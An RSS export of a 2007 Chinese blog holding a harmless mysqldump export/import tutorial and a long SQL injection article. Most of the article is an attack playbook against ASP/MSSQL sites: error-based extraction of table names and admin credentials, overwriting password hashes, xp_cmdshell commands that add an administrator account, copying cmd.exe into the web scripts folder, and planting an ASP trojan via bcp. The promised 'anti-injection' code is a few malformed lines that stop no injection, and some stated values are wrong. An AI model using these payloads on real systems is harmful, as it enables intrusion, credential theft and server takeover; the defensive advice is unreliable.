﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-我的Blog，我的舒亭-文章分类-数据库</title><link>http://www.blogjava.net/Aisce/category/25592.html</link><description /><language>zh-cn</language><lastBuildDate>Tue, 11 Sep 2007 01:12:46 GMT</lastBuildDate><pubDate>Tue, 11 Sep 2007 01:12:46 GMT</pubDate><ttl>60</ttl><item><title>关于MYSQL数据的导出导入与版本的转换</title><link>http://www.blogjava.net/Aisce/articles/144016.html</link><dc:creator>Aisce</dc:creator><author>Aisce</author><pubDate>Mon, 10 Sep 2007 07:42:00 GMT</pubDate><guid>http://www.blogjava.net/Aisce/articles/144016.html</guid><wfw:comment>http://www.blogjava.net/Aisce/comments/144016.html</wfw:comment><comments>http://www.blogjava.net/Aisce/articles/144016.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/Aisce/comments/commentRss/144016.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/Aisce/services/trackbacks/144016.html</trackback:ping><description><![CDATA[一、Mysql 数据的导出<br /><br />   有的站长经常用一种最直接的办法就是拷贝数据库文件夹的办法，这个方法确实简单，但是不提倡，在跨版本或者跨不同字符集系统是很容易出问题。再说了数据库4.1版本有两种存储数据的方式在配置的时候可选，一种是和以前一样的每个数据库存放在单独的文件夹里，另一种叫什么来着我忘了，这种所有的数据库都放在一个文件里，巨大的一个文件！，所以对于后者就不可以用拷贝的方法了，用什么呢？下面介绍：<br /><br />   就是mysql 自带的工具 mysqldump ，这个工具十分强大，可以导出数据，并且可以导出不同版本的数据、也可以导出用于其他数据库的数据，太牛了。 这个工具实在命令行、cmd下用的 ，如果你的msyql/bin目录没有配置在系统的环境变量里，就先cd到mysql/bin目录。<br />   <br />1、    先介绍简单得导出： mysqldump -u 数据库用户名 -p  数据库名称 [表名] &gt; 导出到文件的路径名<br /><br />   例如：我要导出 test_db 这个数据库  我的数据库用户为 root 没有密码（没有密码就不用加 -p 了）:<br />            mysqldump -u root test_db &gt; c:\test.sql    这样就可以到处test这个数据库了<br />           如果我要导出 test 数据库中的user 表  用 ajin 这个用户 密码是 123<br />           mysqldump -u ajin -p test_db user &gt;c:\test_user_table.sql   回车后提示输入密码就可以了<br /><br />2、 在导出过程中改变数据库默认的字符集<br />        <br />   例如： 我要导出 test_db 这个数据库  转换编码为 utf8 (utf8 我最常用的)<br />  <br />      mysqldump -u ajin -p --default-character-set=utf8  test_db &gt;c:\test.sql    就可以了  <br />     转换成其他字符只需替换 utf8 就可以了<br /><br />3、导出不同版本数据或者导出给数据库用的数据<br /><br />  例如：我的数据库 Mysql 4.1 的 我要导出一个 默认字符集 utf8 的 4.0版本的数据<br /><br />    mysqldump -u ajin -p test_db --compatible=mysql40 --default-character-set=utf8 test_db &gt;c:\test.sql    <br /><br />   就可完成了所谓的降级 --compatible= 可以跟得参数有 mysql323 mysql40 oracle mssql db2 等等<br /><br />导出就介绍这些常用的，其实还有好多好多。。省略一千字.....<br /><br />二 数据的导入  <br /><br />   这个相对就比较简单了，   这个在命令行、cmd下用的 ，如果你的msyql/bin目录没有配置在系统的环境变量里，就先cd到mysql/bin目录。<br />  <br />  比如我要导入 test.sql 这个数据到  discuz_db 这个数据库<br /><br />  mysql -u ajin -p discuz_db &lt;c:\test.sql  回车提示输入密码 ，如果没有密码的用户 就不用加 -p 了<br /><br />好了就先总结这么多，欢迎大家交流，其中不免会有错误，请多指教~~<br /><img src ="http://www.blogjava.net/Aisce/aggbug/144016.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/Aisce/" target="_blank">Aisce</a> 2007-09-10 15:42 <a href="http://www.blogjava.net/Aisce/articles/144016.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQL注入以及防注入代码</title><link>http://www.blogjava.net/Aisce/articles/142822.html</link><dc:creator>Aisce</dc:creator><author>Aisce</author><pubDate>Wed, 05 Sep 2007 02:19:00 GMT</pubDate><guid>http://www.blogjava.net/Aisce/articles/142822.html</guid><wfw:comment>http://www.blogjava.net/Aisce/comments/142822.html</wfw:comment><comments>http://www.blogjava.net/Aisce/articles/142822.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/Aisce/comments/commentRss/142822.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/Aisce/services/trackbacks/142822.html</trackback:ping><description><![CDATA[
		<p>一个朋友发邮件给我说他的SQL数据库中的出现了一个[jiaozhu]表<br />看到这个表名我就知道他的数据库被SQL注入入侵过了。</p>
		<p>平时小弟对网站做检测，有时也通过SQL注入来查查自己的站点。（有时候实在无聊的话也会跑到人家的站点上去看看）对具体的方法就不说，相信知道的人是知道的，不知道的人也别问我。一般网站的数据库有两种类型。MSSQL和ACCESS。对ACCESS数据文件在此就不说了，比较简单没什么大问题。只是用MSSQL的问题挺多。</p>
		<p>在利用工具猜表名的时候经常会有jiaozhu这个表名，jiaozhu是谁呢？jiaozhu即教主。VC高手，或者说是用VC开发黑客工具的高手，网上流传很多他开发的黑客工具的代码（我喜欢）。当时虽然注意了，但是也没往下想。</p>
		<p>随手在网上下栽了一个注入工具HDSI。常用的注入工具还有NBSI和啊Dsqltools。</p>
		<p>工具的好处就是方便快洁，如果手工半天也猜不了多少东西。人很多时候都是喜欢偷懒的，呵呵。我习惯用的是啊Dsqltools。但是今天下载的是HDSI，HDSI就是教主开发的一款很出名SQL注入工具。</p>
		<p>在试用过程中，发现在工具的[历遍目录]这个页中，需要建一个临时表名，而这个临时表名的默认串就是jiaozhu。</p>
		<p>所以各位网管回去看看数据库里有没有jiaozhu这个表名，如果有说明你的网站被用SQL注入入侵过了。</p>
		<p>以下是网上找的一篇文章，也改了一点点。希望对朋友有点帮助。</p>
		<p>&lt;一&gt;SQL注入简介</p>
		<p>　　许多网站程序在编写时，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，（一般是在浏览器地址栏进行,通过正常的www端口访问）根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。</p>
		<p>　　&lt;二&gt;SQL注入思路</p>
		<p>　　思路最重要。其实好多人都不知道SQL到底能做什么呢？这里总结一下SQL注入入侵的总体的思路：</p>
		<p>　　1. SQL注入漏洞的判断，即寻找注入点</p>
		<p>　　2. 判断后台数据库类型</p>
		<p>　　3. 确定XP_CMDSHELL可执行情况；若当前连接数据的帐号具有SA权限，且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行，则整个计算机可以通过几种方法完全控制，也就完成了整个注入过程，否则继续：</p>
		<p>　　1. 发现WEB虚拟目录</p>
		<p>　　2. 上传ASP木马；</p>
		<p>　　3. 得到管理员权限</p>
		<p>　　具体步骤：</p>
		<p>　　一、SQL注入漏洞的判断</p>
		<p>　　如果以前没玩过注入，请把IE菜单-工具-Internet选项－高级－显示友好HTTP错误信息前面的勾去掉。</p>
		<p>　　为了把问题说明清楚，以下以<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a>(这个地址是假想的)，为例进行分析，xx可能是整型，也有可能是字符串。</p>
		<p>　　1、整型参数的判断</p>
		<p>　　当输入的参数xx为整型时，通常news.asp中SQL语句原貌大致如下：</p>
		<p>select * from 表名 where 字段=xx，所以可以用以下步骤测试SQL注入是否存在。</p>
		<p>　　最简单的判断方法</p>
		<p>
				<a href="http://www.163.com/news.asp?id=xx'">HTTP://www.163.com/news.asp?id=xx'</a>(附加一个单引号)，</p>
		<p>　　此时news.asp中的SQL语句变成了</p>
		<p>select * from 表名 where 字段=xx'，</p>
		<p>　　如果程序没有过滤好"'"的话，就会提示 news.asp运行异常；但这样的方法虽然很简单，但并不是最好的，因为：</p>
		<p>　　first,不一定每台服务器的IIS都返回具体错误提示给客户端，如果程序中加了cint(参数)之类语句的话，SQL注入是不会成功的，但服务器同样会报错，具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。 </p>
		<p>　　second，目前大多数程序员已经将"'" 过滤掉，所以用" '"测试不到注入点，所以一般使用经典的1=1和1=2测试方法，见下文：</p>
		<p>
				<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and 1=1, news.asp运行正常，</p>
		<p>　　而且与<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a>运行结果相同；</p>
		<p>
				<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and 1=2, news.asp运行异常；（这就是经典的 1=1 1=2 判断方法）</p>
		<p>　　如果以上面满足，news.asp中就会存在SQL注入漏洞，反之则可能不能注入。</p>
		<p>　　2、字符串型参数的判断</p>
		<p>　　方法与数值型参数判断方法基本相同</p>
		<p>　　当输入的参数xx为字符串时，通常news.asp中SQL语句原貌大致如下：</p>
		<p>select * from 表名 where 字段='xx'，所以可以用以下步骤测试SQL注入是否存在。</p>
		<p>
				<a href="http://www.163.com/news.asp?id=xx'">HTTP://www.163.com/news.asp?id=xx'</a>(附加一个单引号)，此时news.asp中的SQL语句变成了<br />select * from 表名 where 字段=xx'，news.asp运行异常；<br /><a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and '1'='1', news.asp运行正常，</p>
		<p>　　而且与<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a>运行结果相同；</p>
		<p>
				<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and '1'='2', news.asp运行异常；</p>
		<p>　　如果以上满足，则news.asp存在SQL注入漏洞，反之则不能注入</p>
		<p>　　3、特殊情况的处理</p>
		<p>　　有时ASP程序员会在程序员过滤掉单引号等字符，以防止SQL注入。此时可以用以下几种方法试一试。</p>
		<p>　　①大小定混合法：由于VBS并不区分大小写，而程序员在过滤时通常要么全部过滤大写字符串，要么全部过滤小写字符串，而大小写混合往往会被忽视。如用Select代替select,Select等；</p>
		<p>　　②UNICODE法：在IIS中，以UNICODE字符集实现国际化，我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B，空格=%20 等；URLEncode信息参见附件一；</p>
		<p>　　③ASCII码法：可以把输入的部分或全部字符全部</p>
		<p>　　&lt;4&gt;出了上述方法以外，还有个更简单的方法就是使用现成的工具像NB联盟的NBSI就是一款很不错的工具，目前最新的版本为2.2 <br />二、判断数据库类型</p>
		<p>　　不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer，网上超过99%的网站都是其中之一。 </p>
		<p>　　怎么让程序告诉你它使用的什么数据库呢？来看看： </p>
		<p>　　SQLServer有一些系统变量，如果服务器IIS提示没关闭，并且SQLServer返回错误提示的话，那可以直接从出错信息获取，方法如下： <br /><a href="http://www.163.com/news.asp?id=xx;and">HTTP://www.163.com/news.asp?id=xx;and</a> user&gt;0 </p>
		<p>　　这句语句很简单，但却包含了SQLServer特有注入方法的精髓，我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的，重点在and user&gt;0，我们知道，user是SQLServer的一个内置变量，它的值是当前连接的用户名，类型为nvarchar。拿一个 nvarchar的值跟int的数0比较，系统会先试图将nvarchar的值转成int型，当然，转的过程中肯定会出错，SQLServer的出错提示是：将nvarchar值 "abc" 转换数据类型为 int 的列时发生语法错误，呵呵，abc正是变量user的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。 顺便说几句，众所周知，SQLServer的用户sa是个等同Adminstrators权限的角色，拿到了sa权限，几乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录，要注意的是：如果是sa登录，提示是将"dbo"转换成int的列发生错误，而不是"sa"。 </p>
		<p>　　如果服务器IIS不允许返回错误提示，那怎么判断数据库类型呢？我们可以从Access和SQLServer和区别入手，Access和 SQLServer都有自己的系统表，比如存放数据库中所有对象的表，Access是在系统表[msysobjects]中，但在Web环境下读该表会提示"没有权限"，SQLServer是在表[sysobjects]中，在Web环境下可正常读取。 </p>
		<p>　　在确认可以注入的情况下，使用下面的语句： </p>
		<p>
				<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> ;and (select count(*) from sysobjects)&gt;0 <br /><a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> ;and (select count(*) from msysobjects)&gt;0 </p>
		<p>　　如果数据库是SQLServer，那么第一个网址的页面与原页面<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a>是大致相同的；而第二个网址，由于找不到表msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。 </p>
		<p>　　如果数据库用的是Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启IIS错误提示时的验证。 </p>
		<p>　　三、确定XP_CMDSHELL可执行情况</p>
		<p>　　若当前连接数据的帐号具有SA权限，且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行，则整个计算机可以通过以下几种方法完全控制，以后的所有步骤都可以省</p>
		<p>　　1、<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and user&gt;;0 news.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。</p>
		<p>　　2、<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and db_name()&gt;0 news.asp执行异常但可以得到当前连接的数据库名。</p>
		<p>　　3、<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a>；exec master..xp_cmdshell "net user aaa bbb /add"-- (master是SQL-SERVER的主数据<br />库；名中的分号表示SQL-SERVER执行完分号前的语句名，继续执行其后面的语句；"-"号是注解，表示其后面的所有内容仅为注释，系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。</p>
		<p>　　4、<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a>；exec master..xp_cmdshell "net localgroup administrators aaa /add"-- 把刚刚增加<br />的帐户aaa加到administrators组中。</p>
		<p>　　5、<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a>；backuup database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容<br />全部备份到WEB目录下，再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。</p>
		<p>　　6、通过复制CMD创建UNICODE漏洞</p>
		<p>
				<a href="http://www.163.com/news.asp?id=xx;exec">HTTP://www.163.com/news.asp?id=xx;exec</a> master.dbo.xp_cmdshell "copy c:\winnt\system32\cmd.exe </p>
		<p>　　c:\inetpub\scripts\cmd.exe" 便制造了一个UNICODE漏洞，通过此漏洞的利用方法，便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。</p>
		<p>　　这样你就成功的完成了一次SQL注入攻击，先别兴奋，在实践时你就会发现这比理论要难的多会有更多的困难等着你come over ，下面GO ON如果上述条件不成立则需继续奋斗（要挂马了：））</p>
		<p>GO ON~!</p>
		<p>　　当上述条件不成立时就要继续下面的步骤</p>
		<p>　　(一)、发现WEB虚拟目录</p>
		<p>　　只有找到WEB虚拟目录，才能确定放置ASP木马的位置，进而得到USER权限。有两种方法比较有效。</p>
		<p>　　一是根据经验猜解，一般来说，WEB虚拟目录是：c:\inetpub\wwwroot; </p>
		<p>D:\inetpub\wwwroot; E:\inetpub\wwwroot等，而可执行虚拟目录是：<br />c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。</p>
		<p>　　二是遍历系统的目录结构，分析结果并发现WEB虚拟目录；</p>
		<p>　　先创建一个临时表：temp</p>
		<p>
				<a href="http://www.163.com/news.asp?id=xx;create">HTTP://www.163.com/news.asp?id=xx;create</a> table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 <br />nvarchar(255));--</p>
		<p>　　接下来：</p>
		<p>　　1 我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中：</p>
		<p>
				<a href="http://www.163.com/news.asp?id=xx;insert">HTTP://www.163.com/news.asp?id=xx;insert</a> temp exec master.dbo.xp_availablemedia;--</p>
		<p>　　我们可以通过查询temp的内容来获得驱动器列表及相关信息</p>
		<p>　　2 我们可以利用xp_subdirs获得子目录列表,并存入temp表中：</p>
		<p>
				<a href="http://www.163.com/news.asp?id=xx;insert">HTTP://www.163.com/news.asp?id=xx;insert</a> into temp(id) exec master.dbo.xp_subdirs 'c:\';--</p>
		<p>　　3 我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中：</p>
		<p>
				<a href="http://www.163.com/news.asp?id=xx;insert">HTTP://www.163.com/news.asp?id=xx;insert</a> into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- </p>
		<p>　　这样就可以成功的浏览到所有的目录（文件夹）列表：</p>
		<p>　　如果我们需要查看某个文件的内容，可以通过执行xp_cmdsell：</p>
		<p>
				<a href="http://www.163.com/news.asp?id=xx;insert">HTTP://www.163.com/news.asp?id=xx;insert</a> into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--</p>
		<p>　　使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。如：bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp' <br />浏览temp就可以看到index.asp文件的内容了！通过分析各种ASP文件，可以得到大量系统信息，WEB建设与管理信息，甚至可以得到SA帐号的连接密码。</p>
		<p>　　当然，如果xp_cmshell能够执行，我们可以用它来完成：</p>
		<p>
				<a href="http://www.163.com/news.asp?id=xx;insert">HTTP://www.163.com/news.asp?id=xx;insert</a> into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--<br /><a href="http://www.163.com/news.asp?id=xx;insert">HTTP://www.163.com/news.asp?id=xx;insert</a> into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--<br />通过xp_cmdshell我们可以看到所有想看到的，包括W3svc</p>
		<p>
				<a href="http://www.163.com/news.asp?id=xx;insert">HTTP://www.163.com/news.asp?id=xx;insert</a> into temp(id) exec master.dbo.xp_cmdshell 'cscript <br />C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'</p>
		<p>　　但是，如果不是SA权限，我们还可以使用</p>
		<p>
				<a href="http://www.163.com/news.asp?id=xx;insert">HTTP://www.163.com/news.asp?id=xx;insert</a> into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--</p>
		<p>　　注意：</p>
		<p>　　1、以上每完成一项浏览后，应删除TEMP中的所有内容，删除方法是：</p>
		<p>
				<a href="http://www.163.com/news.asp?id=xx;delete">HTTP://www.163.com/news.asp?id=xx;delete</a> from temp;--</p>
		<p>　　2、浏览TEMP表的方法是：(假设TestDB是当前连接的数据库名)<br /><a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select top 1 id from TestDB.dbo.temp )&gt;0 </p>
		<p>　　得到表TEMP中第一条记录id字段的值，并与整数进行比较，显然news.asp工作异常，但在异常中却可以发现id字段的值。假设发现的表名是xyz，则</p>
		<p>
				<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select top 1 id from TestDB.dbo.temp )&gt;0 where id not in('xyz'))&gt;0 </p>
		<p>　　得到表TEMP中第二条记录id字段的值。</p>
		<p>　　(二)、上传ASP木马</p>
		<p>　　所谓ASP木马，就是一段有特殊功能的ASP代码，并放入WEB虚拟目录的Scripts下，远程客户通过IE就可执行它，进而得到系统的USER权限，实现对系统的初步控制。上传ASP木马一般有两种比较有效的方法：</p>
		<p>　　1、利用WEB的远程管理功能</p>
		<p>　　许多WEB站点，为了维护的方便，都提供了远程管理的功能；也有不少WEB站点，其内容是对于不同的用户有不同的访问权限。为了达到对用户权限的控制，都有一个网页，要求用户名与密码，只有输入了正确的值，才能进行下一步的操作,可以实现对WEB的管理，如上传、下载文件，目录浏览、修改配置等。</p>
		<p>　　因此，若获取正确的用户名与密码，不仅可以上传ASP木马，有时甚至能够直接得到USER权限而浏览系统，上一步的"发现WEB虚拟目录"的复杂操作都可省略。</p>
		<p>　　用户名及密码一般存放在一张表中，发现这张表并读取其中内容便解决了问题。以下给出两种有效方法。</p>
		<p>　　A、 注入法：</p>
		<p>　　从理论上说，认证网页中会有型如：</p>
		<p>　　select * from admin where username='XXX' and password='YYY' 的语句，若在正式运行此句之前，没有进行必要的字符过滤，则很容易实施SQL注入。</p>
		<p>　　如在用户名文本框内输入：abc' or 1=1-- 在密码框内输入：123 则SQL语句变成：</p>
		<p>select * from admin where username='abc' or 1=1 and password='123' </p>
		<p>　　不管用户输入任何用户名与密码，此语句永远都能正确执行，用户轻易骗过系统，获取合法身份。</p>
		<p>　　B、猜解法：</p>
		<p>　　基本思路是：猜解所有数据库名称，猜出库中的每张表名，分析可能是存放用户名与密码的表名，猜出表中的每个字段名，猜出表中的每条记录内容。</p>
		<p>　　a 猜解所有数据库名称</p>
		<p>
				<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select count(*) from master.dbo.sysdatabases where name&gt;1 and dbid=6) &lt;&gt;0</p>
		<p>　　因为dbid的值从1到5，是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name&gt;1 (name字段是一个字符型的字段和数字比较会出错),news.asp工作异常，可得到第一个数据库名，同理把DBID分别改成7,8，9,10,11,12…就可得到所有数据库名。</p>
		<p>　　以下假设得到的数据库名是TestDB。</p>
		<p>　　b 猜解数据库中用户名表的名称</p>
		<p>　　猜解法：此方法就是根据个人的经验猜表名，一般来说，</p>
		<p>　　user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,<br />systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通过语句进行判断</p>
		<p>　　<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select count(*) from TestDB.dbo.表名)&gt;0 若表名存在，则news.asp工作正常，否则异常。如此循环，直到猜到系统帐号表的名称。 </p>
		<p>　　读取法：SQL-SERVER有一个存放系统核心信息的表sysobjects，有关一个库的所有表，视图等信息全部存放在此表中，而且此表可以通过WEB进行访问。 </p>
		<p>　　当xtype='U' and status&gt;0代表是用户建立的表，发现并分析每一个用户建立的表及名称，便可以得到用户名表的名称，基本的实现方法是：</p>
		<p>　　①HTTP://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status&gt;0 )&gt;0 <br />得到第一个用户建立表的名称，并与整数进行比较，显然news.asp工作异常，但在异常中却可以发现表的名称。假设发现的表名是xyz，则</p>
		<p>　　②HTTP://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status&gt;0 and <br />name not in('xyz'))&gt;0 可以得到第二个用户建立的表的名称，同理就可得到所有用建立的表的名称。</p>
		<p>　　根据表的名称，一般可以认定那张表用户存放用户名及密码，以下假设此表名为Admin。</p>
		<p>　　c 猜解用户名字段及密码字段名称</p>
		<p>　　admin表中一定有一个用户名字段，也一定有一个密码字段，只有得到此两个字段的名称，才有可能得到此两字段的内容。如何得到它们的名称呢，同样有以下两种方法。</p>
		<p>　　猜解法：此方法就是根据个人的经验猜字段名，一般来说，用户名字段的名称常用：username,name,user,account等。而密码字段的名称常用：password,pass,pwd,passwd等。并通过语句进行判断</p>
		<p>
				<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select count(字段名) from TestDB.dbo.admin)&gt;0 "select count(字段名) from 表名"</p>
		<p>　　语句得到表的行数，所以若字段名存在，则news.asp工作正常，否则异常。如此循环，直到猜到两个字段的名称。</p>
		<p>　　读取法：基本的实现方法是</p>
		<p>
				<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects)&gt;0 。<br />select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是从sysobjects得到已知表名的第一个字段名，当与整数进行比较，显然news.asp工作异常，但在异常中却可以发现字段的名称。把col_name(object_id('admin'),1)中的1依次换成2,3,4,5，6…就可得到所有的字段名称。</p>
		<p>　　d 猜解用户名与密码</p>
		<p>　　猜用户名与密码的内容最常用也是最有效的方法有：</p>
		<p>　　ASCII码逐字解码法:虽然这种方法速度较慢，但肯定是可行的。基本的思路是先猜出字段的长度，然后依次猜出每一位的值。猜用户名与猜密码的方法相同，以下以猜用户名为例说明其过程。<br /><a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select top 1 len(username) from TestDB.dbo.admin)=X(X=1,2，3,4，5，… n，username</p>
		<p>　　为用户名字段的名称，admin为表的名称)，若x为某一值i且news.asp运行正常时，则i就是第一个用户名的长度。如：当输入<br /><a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select top 1 len(username) from TestDB.dbo.admin)=8时news.asp运行正常，则第一个用户名的长度为8</p>
		<p>　　<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select top 1 ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用户名长度之间，当m=1，2,3，…时猜测分别猜测第1,2,3,…位的值；n的值是1~9、a~z、A~Z的ASCII值，也就是1~128之间的任意值；admin为系统用户帐号表的名称)，若n为某一值i且news.asp运行正常时，则i对应ASCII码就是用户名某一位值。如：当输入<br /><a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select top 1 ascii(substring(username,3,1)) from TestDB.dbo.admin)=80时news.asp运行正常，则用户名的第三位为P(P的ASCII为80)；<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select top 1 ascii(substring(username,9,1)) from TestDB.dbo.admin)=33时news.asp运行正常，则用户名的第9位为!(!的ASCII为80)；猜到第一个用户名及密码后，同理，可以猜出其他所有用户名与密码。注意：有时得到的密码可能是经MD5等方式加密后的信息，还需要用专用工具进行脱密。或者先改其密码，使用完后再改回来，见下面说明。简单法：猜用户名用<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select top 1 flag from TestDB.dbo.admin where username&gt;1) , flag是admin表中的一个字段，username是用户名字段，此时news.asp工作异常，但能得到Username的值。与上同样的方法，可以得到第二用户名，第三个用户等等，直到表中的所有用户名。 </p>
		<p>　　猜用户密码：<a href="http://www.163.com/news.asp?id=xx">HTTP://www.163.com/news.asp?id=xx</a> and (select top 1 flag from TestDB.dbo.admin where pwd&gt;1) , flag是admin表中的一个字段，pwd是密码字段，此时news.asp工作异常，但能得到pwd的值。与上同样的方法，可以得到第二用户名的密码，第三个用户的密码等等，直到表中的所有用户的密码。密码有时是经MD5加密的，可以改密码。</p>
		<p>　　<a href="http://www.163.com/news.asp?id=xx;update">HTTP://www.163.com/news.asp?id=xx;update</a> TestDB.dbo.admin set pwd=' a0b923820dcc509a' where username='www';-- ( 1的MD5值为：AAABBBCCCDDDEEEF，即把密码改成1；www为已知的用户名)用同样的方法当然可把密码改原来的值。</p>
		<p>　　2、利用表内容导成文件功能</p>
		<p>　　SQL有BCP命令，它可以把表的内容导成文本文件并放到指定位置。利用这项功能，我们可以先建一张临时表，然后在表中一行一行地输入一个ASP木马，然后用BCP命令导出形成ASP文件。</p>
		<p>　　命令行格式如下：</p>
		<p>bcp "select * from text..foo" queryout c:\inetpub\wwwroot\163.asp -c -S localhost -U sa -P foobar <br />　　('S'参数为执行查询的服务器，'U'参数为用户名，'P'参数为密码，最终上传了一个163.asp的木马)</p>
		<p>　　3、利用工具，如NBSI给出的一些参考数据最重要的表名：</p>
		<p>select * from sysobjects<br />sysobjects ncsysobjects<br />sysindexes tsysindexes<br />syscolumns<br />systypes<br />sysusers<br />sysdatabases<br />sysxlogins<br />sysprocesses </p>
		<p>　　最重要的一些用户名（默认sql数据库中存在着的）</p>
		<p>public<br />dbo<br />guest(一般禁止，或者没权限)<br />db_sercurityadmin<br />ab_dlladmin<br />一些默认扩展<br />xp_regaddmultistring <br />xp_regdeletekey <br />xp_regdeletevalue <br />xp_regenumkeys <br />xp_regenumvalues <br />xp_regread <br />xp_regremovemultistring <br />xp_regwrite<br />xp_availablemedia 驱动器相关<br />xp_dirtree 目录<br />xp_enumdsn ODBC连接<br />xp_loginconfig 服务器安全模式信息<br />xp_makecab 创建压缩卷<br />xp_ntsec_enumdomains domain信息<br />xp_terminate_process 终端进程，给出一个PID </p>
		<p>　　(三)、得到系统的管理员权限</p>
		<p>　　ASP木马只有USER权限，要想获取对系统的完全控制，还要有系统的管理员权限。怎么办？提升权限的方法有很多种：</p>
		<p>　　上传木马，修改开机自动运行的.ini文件(它一重启，便死定了)；</p>
		<p>　　复制CMD.exe到scripts，人为制造UNICODE漏洞；</p>
		<p>　　下载SAM文件，破解并获取OS的所有用户名密码；</p>
		<p>　　等等，视系统的具体情况而定，可以采取不同的方法。</p>
		<p>　　那么我们怎么防注入呢？程序如下加入到asp或html或php或cgi里面都可以。经过测试。加入如 top.asp文件中开头</p>
		<p>　　方法一：</p>
		<p>&lt;%if session("username"="" or session("userkey"="" then<br />response.redirect "../../"<br />end if%&gt; </p>
